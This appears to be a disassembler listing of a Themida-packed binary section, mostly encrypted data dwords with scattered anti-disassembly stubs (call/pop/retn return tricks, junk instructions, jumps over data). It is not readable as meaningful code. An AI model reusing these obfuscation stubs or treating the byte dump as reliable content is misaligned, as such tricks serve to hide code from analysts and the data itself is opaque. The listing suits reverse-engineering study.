dd 979794DAh, 0B358EF80h, 1F6CF524h, 28D552A1h, 0FAF73F3Eh
dd 3F8812FCh, 0DE87B2ADh, 126B64F1h, 3F8CE28Bh, 8B53281h
dd 1A175F1Eh, 58EF071Ch, 7774A5B3h, 299BE2C6h, 56D5249Ch
dd 3F88F358h, 0CB6811ADh, 0A626573Ah, 64E0FE8Ch, 9CE1CC45h
dd 12ECFF2Ch, 1518DC43h, 0B5E4E251h, 0E71518DCh, 1833FB32h
dd 0FB826C2Dh, 64DC2B32h, 0DCA2EFCFh, 28201518h, 997B0A55h
dd 5AFE8DE4h, 3B5BC562h, 45D05F16h, 0EEFB334Ah, 4110EEFDh
dd 531517FCh, 2CF65026h, 341B2D01h, 0C5F99E89h, 0ABD42A75h
dd 65C278C1h, 6806ADB4h, 1AD182FCh, 22FFEFCEh, 9A95C076h
dd 0D3B944E3h, 0D3AA9FAAh, 69602B9Bh, 8008D14h, 91E89591h
dd 80FDF3A2h, 5F0A30E9h, 7FC350BDh, 0E4607048h, 21704EDDh
dd 730F0B56h, 6E0670C6h, 0BA0A7356h, 8A1DCCFh, 19060969h
dd 1C13866Ch, 0E8914861h, 562E6B4Bh, 0BB6E0F0Bh, 5169F973h
dd 7704235Ah, 8D82CAEFh, 93C079F0h, 47EF1378h, 70C4F947h
dd 0DEBEDBDBh, 2BDEAD3Eh, 0D7CE5B02h, 0DF376660h, 0B465AD3Eh
dd 5D49E47Dh, 2EC8920h, 0DF1C3935h, 0D178AD3Eh, 981E01A8h
dd 0D462D80Ch, 0DF2E8660h, 522B22EDh, 9F422FDEh, 0A0879F13h
dd 2307E6DDh, 3A57435Ah, 6EAD3EDFh, 5E20CE7Dh, 0DDD56AEFh
dd 118B1795h, 79F08D84h, 0F7DB7AC0h, 987B0686h, 3CCFBCE5h
dd 0F923C68Ch, 60DE94E5h, 0AD3E582Eh, 4961D143h, 810C1B62h
dd 6E58F588h, 97DF960Fh, 4CF9EA37h, 6F2E1865h, 2DAD3E57h
dd 0CEC836FCh, 68AD3E77h, 14FC1C9h, 0FF603572h, 0FBE8FFFFh
dd 3E2F5EFBh, 0FD806CADh, 513FF722h, 0EEDE9F86h, 0EB512C23h
dd 0BC403D28h, 2840B442h, 464B403Dh, 7201FB41h, 39B5h
dd 6CC40700h, 5B7D0E1Dh, 0F6B0D01Dh, 0AE4052Dh, 0B358A100h
dd 0D07F75A4h, 39C4EDA1h, 7D342D50h, 512BB7B5h, 0AB8BA8F7h
dd 0AD3F4AA3h, 6C191643h, 4A3FF786h, 26A4h, 6CC40E00h
dd 16300E1Dh, 0BEB35998h, 0DEE6A58Bh, 310B9717h, 1AAB4897h
dd 9B524B32h, 0EE5856D3h, 16AD3EDFh, 86CE5C63h, 0C8C7DE9Fh
dd 5228553Dh, 5F314C43h, 0E80756F2h, 37624AFBh, 5B022B52h
dd 0C4827CB2h, 0F0B353E7h, 13462049h, 0D5A729D7h, 3B4227D6h
dd 3D64190Eh, 64D0DE94h, 0ECEE9FE8h, 25576Bh, 0C4690000h
dd 300E1D6Ch, 0B353E20Ah, 1C069FCAh, 0A729DB79h, 0F973FF6Fh
dd 6218654Ch, 0ECF7BACFh, 0EC3E6Bh, 86900000h, 2AC7DE9Fh
dd 6C5EEF48h, 0DE683511h, 534AD3Eh, 8736352Ch, 0F695DDA0h
dd 72816E0Fh, 3EDEC594h, 0CCA2D7ADh, 304D38D5h, 2A25B0C3h
dd 0DEAAE753h, 2E18AD3Eh, 0C49F564Fh, 6C11F895h, 70E8C2C6h
dd 0E2AD3EE3h, 473292EBh, 1D0E1D60h, 3EDA7421h, 41F920ADh
dd 206FC926h, 0DD033313h, 0A6D3B353h, 6B12FC89h, 550C3BF2h
dd 6522AECh, 2693F33Bh, 0BFAC3B8Ah, 3E67160Eh, 3965DF97h
dd 65AD40B3h, 4A2437B4h, 0AD3C630Bh, 999AE089h, 0A09306ECh
dd 0E7C7C4DDh, 0AD3C62AAh, 3FF63FEAh, 0ADD0C24Dh, 7AE6267h
dd 1A55CFAh, 1BCh, 0E9DBA293h, 71532A1Eh, 0EBDDA086h, 77592420h
dd 0F5D7A68Ch, 0C4A64036h, 432CD7B9h, 0CCBF4A3Ah, 3934DFB1h
dd 0DFCC4444h, 240FB2DFh, 1B73E2A7h, 0F7D9A486h, 9278210Ch
dd 72BB72EBh, 6CC4A412h, 0A300E1Dh, 0CAB353E2h, 0FEA7D6BBh
dd 9B871E57h, 0A729DBFAh, 9A0DDC8h, 64FD806Ch, 3B6F0373h
dd 0AE2ABA34h, 6BECF7D9h, 0BE1Dh, 0CC831000h, 126B5F6Bh
dd 73A82075h, 9F86CDBBh, 610DCAF8h, 0F53C88C1h, 92EBE16Ch
dd 2F0F1C0Bh, 0AD3E7962h, 0B71BE85Eh, 6EB947DEh, 938973BBh
dd 45AD3E6Fh, 26574F4Ah, 9B927D4Fh, 3BB645E2h, 0B9E1B427h
dd 84E37EB4h, 704EDD2Ch, 0B352F7BEh, 0F38A7F16h, 43FD4A3Ah
dd 0FCF7F7F4h, 98AD409Dh, 0E1D38271h, 6B612C9Ch, 9D933E12h
dd 80F9FA07h, 0DBEEh, 0FE7F7400h, 6E0F038Eh, 7D731Eh, 74090590h
dd 0FA836914h, 63BD2B8Ah, 0D1BC0C71h, 5823A5D8h, 0D1BC0C71h
dd 6D25A7D6h, 0FD78680h, 0D0C5A724h, 0D9A48682h, 0BDB9AAF7h
dd 0AD3EDEA0h, 823E4DFCh, 2A886D57h, 2D1833FBh, 86D28050h
dd 0C451DE9Fh, 5ACB5C8h, 0B097322Dh, 1510FBCDh, 0B29D6868h
dd 0C6D5D2CBh, 3EDEA9E8h, 725AEBADh, 320C620Bh, 0DC594266h
dd 3B316860h, 0BB721B42h, 5D2007A2h, 5008D44h, 2C4AF178h
dd 11403EB8h, 837E247Bh, 1D979FD6h, 0FB826D85h, 7EF9C89h
dd 3FE198FCh, 0E0C786ACh, 7D69049Dh, 600F300h, 7E24B057h
dd 435E1445h, 7A92228Ch, 0EF9AEA93h, 4ADC85F8h, 18h, 86372468h
dd 325FDBA2h, 2EAD3EDFh, 3EDF0150h, 7DE693ADh, 8515A6CCh
dd 0D1D8A586h, 2D344944h, 0CDD4A9A0h, 2F364740h, 0D4CDB0A2h
dd 332A5339h, 0D6CFAE96h, 8128553Bh, 0E881FCF4h, 6C346804h
dd 0C890000h, 81E18924h, 4C1h, 4E98300h, 5C240C87h, 63D568h
dd 241C8900h, 1E0C68h, 240C8900h, 1ABB9268h, 241C8B06h
dd 8304C483h, 248904ECh, 24048124h, 4, 8B85059h, 1000000h
dd 8B1889C8h, 0C4812404h, 4, 592434FFh, 0FF04C483h, 835B2434h
dd 89E904C4h, 63FFFB77h, 795FE196h, 0EBF02A8Eh, 0D8B31B91h
dd 1AD0EEB8h, 0FFC50306h, 1137A4E0h, 74AC0976h, 7F75C114h
dd 71875B4Dh, 87422862h, 66F54474h, 23C14419h, 4EA52028h
dd 79CB5229h, 78CC2346h, 0FBCB0970h, 0C8D8D12h, 89061AD2h
dd 1511AD95h, 218D8906h, 9061527h, 1503CD85h, 0CD85C706h
dd 98061504h, 100005Eh, 151D558Dh, 1585C706h, 61511h, 66000000h
dd 0FF3A98BBh, 150009B5h, 2DB58906h, 0FF06150Ah, 1502C995h
dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h
dd 0C3504000h, 6ABF724Bh, 0BD8B21AEh, 6152665h, 95FF006Ah
db 21h, 2Eh, 15h
; ---------------------------------------------------------------------------
loc_5D6C3B: ; DATA XREF: Themida_:0057B784o
push es
mov eax, eax
jmp short loc_5D6C8D
; ---------------------------------------------------------------------------
dd 0D7A1999Ch, 0CEC20178h, 4436A995h, 864683Ah, 171CB81Bh
dd 52E3D057h, 4B18DED4h, 0B1F2947Fh, 4948A1B0h, 6C4F38E6h
dd 0F6829602h, 697FB625h, 9B1FD67h, 75CE074h, 0FB0A879Ch
dd 555F6D05h, 2A3DA358h, 29CB63CDh, 0BB5F5383h
db 0B3h
; ---------------------------------------------------------------------------
loc_5D6C8D: ; CODE XREF: Themida_:005D6C3Ej
lea ecx, [ebp+61AD318h]
push 0
push edx
call sub_5D6C9E
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D6C9E proc near ; CODE XREF: Themida_:005D6C96p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 16h
inc edx
push edx
retn
sub_5D6C9E endp
; ---------------------------------------------------------------------------
dw 0C1FBh
dd 6E9D5h, 77110000h, 0FE9983CFh, 27218D89h, 0AFBB0615h
dd 8B0D1E4Dh, 15224995h, 0CD85C706h, 18061504h, 60000073h
dd 8698D8Bh, 85010615h, 6150289h, 1585C761h, 61511h, 8B000000h
dd 15113195h, 39B5FF06h, 6A061523h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 2D68C352h
dd 95FFC12Bh, 61502C9h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 16h, 47C35747h, 37B60C89h, 95FF006Ah, 6152E21h
dd 2BEBC08Bh, 0BAC55451h, 5E53D47Dh, 0EDBD1A0Fh, 0DF6B3C38h
dd 7AD49E51h, 5A1C0D7Fh, 90F8AE63h, 660FDA53h, 0BE682420h
dd 8E3E84D9h, 8BDC27E1h, 850F53C0h, 16h, 11E9h, 9EAF5700h
dd 0D9FD7FAAh, 3F373079h, 91BF3F0Bh, 835A6987h, 1508F5BDh
dd 9750006h, 3ADBD83h, 74000615h, 8B535019h, 3FCB8C0h
dd 85890000h, 6151385h, 0AA9E9D8Dh, 0D3FF0617h, 0BD83585Bh
dd 61503ADh, 50177400h, 3FCB853h, 85890000h, 6151385h
dd 0A78D9D8Dh, 0D3FF0617h, 0C6B2585Bh, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 1Ah, 12C35747h, 3EA524BBh, 0C08B973Dh
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 88C35646h
dd 0B70F227Ch, 0B5BD83D2h, 106152Dh, 87840Fh, 6A0000h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 180424h, 50400000h
dd 4A5C35C3h, 8E0F70DAh, 2, 0BD83D78Bh, 61514F5h, 52850F00h
dd 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 15042444h, 45000000h, 652BC355h, 0FF0CE4BBh, 0BD83F509h
dd 61509CDh, 92840F00h, 6A000000h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 17042444h, 40000000h, 0CCA3C350h
dd 0D3807C8Ch, 478E954h, 890F0000h, 17h, 12E9h, 0FDA90A00h
dd 97D4D153h, 0D758598Ch, 4DE38159h, 30DC51h, 6A000000h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1D042444h
dd 47000000h, 0FCB2C357h, 7D6A2CFFh, 96771284h, 8DD28166h
dd 56006A49h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h
dd 0C3564600h, 5EADFB32h, 0A87D3221h, 4BCEC564h, 2220B9B1h
dd 1C8F7B1h, 0A89638EFh, 0A0CCD9C5h, 38CCDAF5h, 67C87FB1h
dd 42867CE7h, 40D96CB3h, 0AC1A50BEh, 398DAE34h, 77C891B7h
dd 21C8FE59h, 0E296DEB1h, 5BCF6EFh, 58C3EB5h, 21C8C7B5h
dd 0E29EA9B1h, 2EA7E1B6h, 0F87FF414h, 9EC72D4Eh, 24F81769h
dd 21A27FB1h, 21CB57E6h, 7EE8DFB1h, 5D41B072h, 6549F395h
dd 21DEFF95h, 768FFDB1h, 7000DE72h, 2720A83Bh, 81C8BFB1h
dd 36E44Ah, 7A34654Dh, 21C81FE4h, 0A095FBB1h, 3B1D725Ch
dd 2742F1B7h, 0A0C87FB1h, 73D3E06Ah, 2343D085h, 0ABC8EFB1h
dd 74C89D4Fh, 21C8F859h, 0E295DDB1h, 5A477ECh, 58CFEB5h
dd 21C8A7B5h, 0E29D9AB1h, 67E28326h, 0E1430268h, 0C99BFBDBh
dd 21C8FDB2h, 7A0BA591h, 25EC2338h, 25ECFB30h, 21C8DFA7h
dd 430BBCF2h, 33206A3Fh, 0E6C8FBB1h, 7CDEF8ABh, 0B2276D1Dh
dd 0B9256211h, 0CCC4C293h, 7F06500h, 0B1928143h, 21C8E458h
dd 0A2BBC0B1h, 1C65756Ch, 69340B75h, 33A5896Bh, 7B14CC57h
dd 0F943BFE1h, 21A27FD0h, 21CB1FE2h, 7AE8FBB1h, 7D41A672h
dd 6549FA95h, 21DC7B95h, 728BBFB1h, 0A0AED272h, 2EB2AF52h
dd 0DFECBBB0h, 791A44BEh, 0C99EFDDBh, 21C8FEB2h, 7F0B2191h
dd 25ECCB38h, 25EC9B30h, 21C8EFA7h, 0A20BA1F7h, 2DCDAD25h
dd 4BC8FDB3h, 2220ADB1h, 1C87FB1h, 0A8937CEAh, 0A0CCFBEDh
dd 38CCCBF5h, 62C8F7B1h, 0D92938E2h, 0D2EC447Ch, 47AD0931h
dd 2943A83Ah, 0C998BFDBh, 21C8DFB2h, 790BB791h, 25ECB338h
dd 25ECBF30h, 21C8FDA7h, 0B00BAEF1h, 2EA80393h, 21C8B43Eh
dd 21CD37B1h, 264CEFB1h, 7926C885h, 40A99BD1h, 69439BD0h
dd 2D40F14Dh, 2EC87FB1h, 21C8B93Bh, 214DD0B1h, 2EC8EFB1h
dd 21C8F439h, 83267BB1h, 21C8FC09h, 77C894B1h, 21C87C59h
dd 0E2969FB1h, 5BC56EFh, 58C6EB5h, 21C8EAB5h, 0E29EBDB1h
dd 6CA64A33h, 8F7FBC1Fh, 47A8CF55h, 4B674E30h, 9BA9213Ah
dd 0D1D296Bh, 419AA7E1h, 21C870BEh, 3020FDB1h, 0A4C8FEB1h
dd 5C8AD38h, 0EBE6CDF9h, 253C6323h, 0BC6EE208h, 10C796E8h
dd 61739DE2h, 7992A66Bh, 47ECF238h, 47BBDC0Bh, 21A2663Dh
dd 21CB37E0h, 78E8EFB1h, 6D41AE72h, 6549FF95h, 21DCF995h
dd 7089FEB1h, 9EC75C72h, 2509496Ah, 20E65ABEh, 21A2EFB1h
dd 21CB1FE4h, 7CE8FBB1h, 4D41A072h, 6549FA95h, 21DF7B95h
dd 748DBFB1h, 84D5B772h, 21CE06ACh, 1D60F7B1h, 3D92BC4Ah
dd 76C897E8h, 21C8FD59h, 0E2975FB1h, 5B436EEh, 58C5EB5h
dd 21C8FBB5h, 0E29FB0B1h, 0CB490E51h, 265068F6h, 2EA0C731h
dd 21C96E34h, 77C8D5B1h, 21C8DC59h, 0E296CFB1h, 5BC7EEFh
dd 58C7AB5h, 21C8E8B5h, 0E29EB8B1h, 0A0AE9C3Ch, 0AB849963h
dd 20B15469h, 0C52B6ED7h, 21377697h, 2E48FBB1h, 21C82433h
dd 70C894B1h, 21C87C59h, 0E2919FB1h, 58456E8h, 58C6EB5h
dd 21C8EFB5h, 0E299BAB1h, 711FB45Ah, 0CD144581h, 0C248041Dh
dd 914D78E0h, 20CEC565h, 4BC8EFB1h, 2220A7B1h, 1C8FBB1h
dd 0A8903EE9h, 0A0CCDAF5h, 37CC5BF5h, 61C8BFB1h, 0FD8D1CE1h
dd 21D80655h, 0BF47F7B1h, 939E303Bh, 0A61F3BD2h, 0E640A9AEh
dd 0AA21C53Eh, 4BC8BFB1h, 22208DB1h, 1C8EFB1h, 0A89234EBh
dd 0A0CCDFE5h, 34CCD9F5h, 63C8FEB1h, 0FFB9BCE3h, 7E2F840Bh
dd 218036F6h, 0A5C7EFB1h, 21C8F7B4h, 0BBB0130Bh, 5D037DA7h
dd 0D3037FE8h, 478EAB3Bh, 0DEC3C632h, 21E05BBEh, 0C47EEFB1h
dd 0F5787276h, 21C9FDABh, 21A2FDB1h, 21CB16E4h, 7CE87FB1h
dd 4D41E272h, 6549DB95h, 21DCEB95h, 748DF7B1h, 72803E72h
dd 21C8F659h, 0E11672B1h, 0C57F675Bh, 17F078DAh, 4715B00Bh
dd 0A193B4AAh, 6F71987Ah, 0AC8EFBB2h, 3B122734h, 67573B7h
dd 1ACE6568h, 11CFCB49h, 66010EBEh, 0A8C71A5Ah, 21C8F7B7h
dd 56733830h, 479ADAEEh, 98833C30h, 9475FCEAh, 20CEAA9Ch
dd 219F5BBEh, 2621EFB1h, 32C8F7B1h, 9DBE8206h, 2721D1C9h
dd 0F8C8FEB1h, 0FBB12CB4h, 0D4753CFCh, 21CECAA5h, 21FB6ABEh
dd 2621F7B1h, 69C8FBB1h, 2E894971h, 9C4B9E56h, 27DD767Ch
dd 154CB0B1h, 0C9C8DFB1h, 21C8EFA0h, 0B252B327h, 0F292170Ch
dd 694336A4h, 69838DB2h, 71EFFF2h, 212056EAh, 0FF43DFB1h
dd 21C561BEh, 9FA8F7B1h, 0AF59D6h, 66073F30h, 0A2A99124h
dd 34E5CA0Ch, 0A4C7BEB7h, 21C8DFD2h, 0C99DEFDBh, 21C8F7B2h
dd 7C0BA691h, 25EC9138h, 25ECBA30h, 21C87FA7h, 0AD0BEAF4h
dd 4B951A57h, 2220BEB1h, 1C8F7B1h, 0A89138E8h, 0A0CCD9FDh
dd 35CCDAF5h, 60C87FB1h, 0AA3A7CE0h, 0FF431C61h, 21C86E58h
dd 72C89DB1h, 21C8F859h, 0E293DDB1h, 59477EAh, 58CFEB5h
dd 21C8A9B5h, 0E29B9CB1h, 7C2C3139h, 0C99AF7DBh, 21C8FBB2h
dd 7B0BA791h, 25ECAA38h, 25EC3B30h, 21C8BFACh, 9C0B8DF3h
dd 0EF67A807h, 97BFC5E9h, 4198A8A8h, 7393A6D0h, 21C8F159h
dd 86860B1h, 0F9A051EBh, 73468EDEh, 3642BDA0h, 7A928D02h
dd 21DA137Eh, 50BAFDB1h, 0D59F659Eh, 34DA9D00h, 1A4486E5h
dd 20EB1508h, 7B1650BEh, 9C450D3Bh, 27D22F4Fh, 0FB6F703Ch
dd 3C70F8ABh, 12B345EDh, 34DF7234h, 0E007F4B7h, 0B26F7158h
dd 34AC8EFBh, 0B73B1227h, 68067573h, 491ACE65h, 0BE11CFCBh
dd 0E983010Eh, 83A4F305h, 1AD4B0BDh, 0D740006h, 4F9E8D8Dh
dd 1B80615h, 0FF000000h, 6A40E1h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 160424h, 56460000h, 0B81825C3h, 0EE06FCBBh
dd 57006A1Bh, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h
dd 0C3574700h, 0F9EA435h, 0C8Ah, 68F0F00h, 81000000h, 0E402C6CAh
dd 2DE8836Eh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 1Dh, 57C35141h, 4FFEA14Eh, 914C6852h, 0D0BF0F76h, 6AC08Bh
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h
dd 58632CC3h, 702CAD31h, 0EBE38166h, 0DE9535Dh, 0BC000000h
dd 0ED109B9Ah, 0D5D89E2Dh, 3EC741BCh, 0F5BD835Ah, 61508h
dd 0BD830975h, 61503ADh, 50197400h, 0B8C08B53h, 3FCh, 2A18589h
dd 9D8D0615h, 617AB05h, 585BD3FFh, 3ADBD83h, 74000615h
dd 0B8535017h, 3FCh, 2A18589h, 9D8D0615h, 617A7A6h, 585BD3FFh
dd 6ADF8B66h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 14042444h, 46000000h, 8B2DC356h, 7A8D8DC0h, 0E9061ADCh
dd 0Bh, 0F022BD61h, 5A8D3A53h, 89A8484Ah, 1527218Dh, 0EC38006h
dd 4CD85C7h, 6B400615h, 0B8660000h, 85C787E6h, 6151115h
dd 0
; ---------------------------------------------------------------------------
pusha
cmc
mov ebx, 6A45E9DFh
popa
push dword ptr [ebp+61523E1h]
mov eax, [ebp+6150A69h]
call dword ptr [ebp+61502C9h]
push 0
push edi
call sub_5D768D
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D768D proc near ; CODE XREF: Themida_:005D7685p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 18h
inc edi
push edi
retn
sub_5D768D endp
; ---------------------------------------------------------------------------
db 6Fh, 9Fh, 0DCh
; ---------------------------------------------------------------------------
mov byte ptr [edx+6Ah], 0
call dword ptr [ebp+6152E21h]
mov eax, eax
jmp short loc_5D772A
; ---------------------------------------------------------------------------
adc al, 19h
jmp dword ptr [ebx-3]
; ---------------------------------------------------------------------------
db 0D5h
dd 0BD1B2B0Fh, 597F66A4h, 0EC11C499h, 0FE7193AEh, 0D080959Fh
dd 0AEF161D2h, 8AC03EFEh, 3487B6FDh, 6CA03CBFh, 0B226667Dh
dd 58E24713h, 0DEAE1156h, 0D6FBCD32h, 0F7BFB5F1h, 455A966Ah
dd 0DE55DD3Eh, 8C1C9FAFh, 5352B0ACh, 0A1B4E01Ch, 0BBC41B24h
dd 9FD30466h, 43DE2110h, 0A6D7AF86h, 0F220A487h, 0F4F69365h
dd 7F905406h, 7DF8F143h, 4207F29Ah, 15F4DB56h
db 46h, 72h
; ---------------------------------------------------------------------------
loc_5D772A: ; CODE XREF: Themida_:005D76ACj
jmp loc_5D7748
; ---------------------------------------------------------------------------
db 0D4h
dd 14939C9h, 7C809Eh, 4 dup(0)
; ---------------------------------------------------------------------------
loc_5D7748: ; CODE XREF: Themida_:loc_5D772Aj
jmp loc_5D84D2
; ---------------------------------------------------------------------------
push 61ADEB6h
jmp loc_581882
; ---------------------------------------------------------------------------
push 61ADFC1h
jmp loc_581882
; ---------------------------------------------------------------------------
push 61AE14Ch
jmp loc_581882
; ---------------------------------------------------------------------------
push 61AE2C6h
jmp loc_581882
; ---------------------------------------------------------------------------
push 61AE477h
jmp loc_581882
; ---------------------------------------------------------------------------
push 61AE698h
jmp loc_581882
; ---------------------------------------------------------------------------
push 61AE826h
jmp loc_581882
; ---------------------------------------------------------------------------
push 61AE946h
jmp loc_581882
; ---------------------------------------------------------------------------
db 92h, 34h, 0C4h
dd 0F7F0231h, 0CC3CB966h, 676FA29h, 0D242C06Fh, 6C276443h
dd 28F79E0Eh, 71BE57C7h, 5DD2A313h, 3C876EDEh, 2F6EB312h
dd 8C0D169Ch, 45864FB0h, 53C34049h, 274D6A63h, 6641C672h
dd 4A75ABE0h, 27848565h, 11727FB7h, 4D8AD4A1h, 8AE08ACDh
dd 770C2BEFh, 31B11686h, 48F8A248h, 4B7F4618h, 12169BB4h
dd 6FAE1501h, 181693AAh, 8E1B2EA1h, 309DBD76h, 7A108003h
dd 42CAh, 0BABDE00h, 0F04003DBh, 8D169BF5h, 0CA947ABCh
dd 93F1D6FBh, 0E6849516h, 93F196B7h, 0FA6AC816h, 0D141A7BCh
dd 8837DEE5h, 9548EF5Bh, 0BD1D49B4h, 0C9ECE99Dh, 0C838B8F0h
dd 0DAE4C3EFh, 0C81430h, 24280000h, 525F57C7h, 970764F0h
dd 9E89AE9Fh, 36CE2DACh, 273C7A55h, 4B35CC4h, 4B3AD32h
dd 75F6EB2Bh, 291C3905h, 0D1B7BC00h, 5471FCEEh, 10861A38h
dd 9263D330h, 68AE1E9Dh, 8FF23E02h, 926171Fh, 0F7CA8E35h
dd 0E2B3169Ch, 0A3D3A313h, 8B17969Bh, 0F199B626h, 9A57D86Bh
dd 0C5D61088h, 6DF2E3F9h, 8AEB4C55h, 0A79A3FAh, 92BD7724h
dd 68AE1EA1h, 0B436F397h, 82B144h, 0C5980D90h, 654FB1BDh
dd 0B3DDDh, 0EC5CDA00h, 27971A09h, 0F464E14Eh, 3EAE1221h
dd 0FA6AC857h, 940F7C1Bh, 60CFA616h, 99866FDFh, 55CAAB1Bh
dd 448F66D6h, 2C66AB1Ah, 8405169Ch, 56C624B8h, 0B21370BFh
dd 86F2CE13h, 0B39CAD10h, 0BAB56E2h, 0F04003DBh, 8D169BF5h
dd 9F947ABCh, 3C8EA919h, 521CCDB3h, 0B5D8C3A7h, 421693A9h
dd 0DC61E8D7h, 7E9DBD74h, 0B54DB535h, 2BE9587Eh, 0B37D3FCh
dd 0DCh, 0A3BE1441h, 7047B73Bh, 0FF834C06h, 99B6878Fh
dd 0C72449F1h, 0F0525F57h, 8FC89680h, 4E09AF7Ah, 8635D5FAh
dd 1086F076h, 8BA8096Ah, 817EB828h, 86FEFD24h, 80AF8010h
dd 3A0C99BEh, 898D129Fh, 1E9D92E1h, 0B8A668AEh, 8660C40Dh
dd 0C896A710h, 8660D4FDh, 0E4869710h, 5AE90AAEh, 10866037h
dd 0F4CAE5B6h, 9C978951h, 0D2A37416h, 0DAE414E4h, 8B3CAF6Bh
dd 617D4E10h, 7DC25874h, 92783F2Dh, 930367CCh, 5DCD2D02h
dd 0BD7F35C0h, 3490A6B1h, 0A32h, 7C1989E5h, 43D242A7h
dd 542191ECh, 0CE959DFh, 52239317h, 0D75B5655h, 1EA18E67h
dd 0DC58C7AEh, 199A896Ch, 0D3FBCCA9h, 9C2D2970h, 2913D416h
dd 8856C624h, 0B654C42Bh, 7BEB48D7h, 17AEB09Ah, 1086F2F2h
dd 5AC2A879h, 8757C724h, 0F2ABEE55h, 62C51086h, 0E2614EF2h
dd 0D4565D72h, 9B888664h, 0C0308C18h, 0E0A006EFh, 83B0AEB0h
dd 0CBFA9000h, 169C1F57h, 0F61BAAB4h, 751693DCh, 0C1D2C6A4h
dd 0DC2E6ED5h, 5ED91693h, 4C4FDA6Fh, 0D2D59DBDh, 0D3000006h
dd 0D848A809h, 1D44E1DEh, 0E01693D4h, 0ABF71BCFh, 0AE03DB0Bh
dd 0E64DE44Ch, 12C0B370h, 8DE8F93Dh, 0B24191Dh, 0B2FFDD5Fh
dd 0D9B6E050h, 0B0E656DAh, 0F0902BDFh, 8D169CD7h, 2E91A2BCh
dd 0E38778BEh, 783CA29h, 0C56C1693h, 12CA2F1Ah, 7E529DBEh
dd 66000006h, 3DB0BABh, 9C1AEC40h, 76A07116h, 93DACE0Fh
dd 33A32016h, 67AA1903h, 61693DAh, 0E7EFE35h, 5A7F4608h
dd 211693DAh, 8D407910h, 923DF456h, 0BD4632B7h, 59DFD49Dh
dd 64DFADE9h, 1693D23Dh, 2AC0EFC0h, 634FAh, 5CB20E00h
dd 0ADB1E195h, 9BFB3216h, 4003D916h, 1693F819h, 8737D3E4h
dd 99DDE8B6h, 169A8916h, 992C3262h, 84B63CF1h, 0FD6BAB7Ch
dd 8E350939h, 8EA36717h, 28895566h, 90BA5BCBh, 6AAC1CA3h
dd 0AE3D3F9Dh, 3E11C288h, 0D05CDF4Ch, 512C0373h, 1F9624C0h
dd 0A7AD151Fh, 70000008h, 60CFA616h, 8FA471E1h, 48D7BE2Eh
dd 869D78E8h, 0CAE1B424h, 0FC6CCEC1h, 35A50A19h, 171D360h
dd 0CC3CBF74h, 15B09E29h, 169C13CCh, 4F4EEEAFh, 0C382E362h
dd 1086F29Eh, 87634C5Dh, 7DB9298Ah, 9B2A4BEBh, 1086F276h
dd 330B24F5h, 0A1CF4990h, 5B633416h, 3E824B7Ah, 0CF694EBEh
dd 5934D626h, 9CA8615Ch, 72D35716h, 9CA88ED3h, 735C6D16h
dd 7B654A43h, 0D8BD2D8Eh, 3D0131D2h, 9CA84B86h, 35613216h
dd 0E75EBF3Ch, 169CA8A2h, 0DF667849h, 169CA8BAh, 0B65F7041h
dd 2892C394h, 0F73A6C19h, 0F115A813h, 298B169Ch, 1694209Dh
dd 0B09F70A6h, 0CFA68986h, 4373E360h, 6DDD5859h, 7B65429h
dd 169CE1C6h, 3191A2ACh, 0FAD545A5h, 9136A910h, 0FC33C232h
dd 2D2F0F7Fh, 0E1C24C28h, 7D286E8Dh, 169F8954h, 0AA640617h
dd 9E79024Bh, 65D55416h, 39C54031h, 724B4BBBh, 0F79E595Dh
dd 7B2A1BC8h, 7CB99E54h, 0CA0FB690h, 0B1169F5Fh, 0EE6BD7E0h
dd 9EF3291h, 0BD8E169Fh, 5631C592h, 5B8B4274h, 910182AFh
dd 150C004h, 4FDC0000h, 4571E162h, 1271A248h, 89AA74A2h
dd 5DCEBC2Ch, 0CC276FDFh, 1086F285h, 0AEE858DBh, 0E571D3E0h
dd 52381787h, 56689868h, 0A1CFAAEFh, 56EDEF16h, 169C2F33h
dd 44DF8BAh, 0E7169C2Fh, 0AD11F9D6h, 266A019Ch, 7B79B7D0h
dd 72DF7h, 1C8CEA00h, 0D747AA79h, 2494F13Eh, 0EE5EE251h
dd 2A9A1807h, 645F4C4Bh, 30FF9606h, 69B65FCFh, 25FA9B0Bh
dd 14BF56C6h, 10567B4Ah, 5415169Ch, 57C724E8h, 0E45F7D5Fh
dd 1086F2BDh, 8E7B6F40h, 4AD9BC2Ch, 7A647AEAh, 86F286CBh
dd 0ED5DD810h, 5B6CD4A9h, 0EC4FE4AFh, 0A0B5997Ch, 0BE3FFFDAh
dd 0C19694Eh, 9A3A8BACh, 84AF61D1h, 5DC525E6h, 0D1147591h
dd 53436CAAh, 2A6CDC5Eh, 248ACB8Fh, 0C45BC5A4h, 4E8138D2h
dd 0EC89F979h, 0A91334B9h, 7BC97h, 0B5D00000h, 0BCh, 57C724D1h
dd 3DC92A87h, 724B4BBBh, 2F64595Dh, 80AE5CCCh, 8702D805h
dd 46792010h, 3920281h, 0E744D02Ch, 614E3F77h, 78D9545Dh
dd 86E284CDh, 79566710h, 0A3B9A391h, 7CBA2A8Eh, 0E2FF2283h
dd 0AD7E1086h, 0F8920266h, 86E281CDh, 0E454D710h, 0D040C1B2h
dd 4BAAE9E6h, 31D8DBDBh, 37A2657Eh, 4DBD3F88h, 624F84A8h
dd 65276FDFh, 86F2BBDEh, 5E714210h, 71FD7FACh, 8A979F0Fh
